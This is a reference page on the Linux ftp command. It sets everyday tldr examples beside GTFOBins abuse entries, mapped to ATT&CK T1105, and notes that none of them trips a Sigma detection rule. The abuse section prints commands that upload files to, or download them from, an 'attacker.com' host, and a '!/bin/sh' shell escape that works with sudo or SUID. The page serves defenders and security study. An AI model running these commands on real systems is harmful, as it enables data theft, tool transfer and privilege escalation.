Ceplin Command Identifier

Identifier / Programs / Linux and Unix

ftp

Tools to interact with a server via File Transfer Protocol. tldr-pages

GTFOBins download, upload 1 ATT&CK technique 3 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How ftp is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-a

upload

-a

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ftp.

3 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo, as SUID

Instead of -a, credentials can be supplied via the user:password@host connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Identify

shell unprivileged, with sudo, as SUID

ftp
!/bin/sh
Identify

upload unprivileged, with sudo, as SUID

Instead of -a, credentials can be supplied via the user:password@host connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Identify

None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ftp. The identifier reads the line of each that runs ftp.

What detects it

Sigma process creation rules
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Connect to an FTP server and run in interactive mode

ftp ftp.example.comIdentify

Connect to an FTP server specifying its IP address and port

ftp ip_address portIdentify

[Interactive] Switch to binary transfer mode (graphics, compressed files, etc.)

binary

None of the 2 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.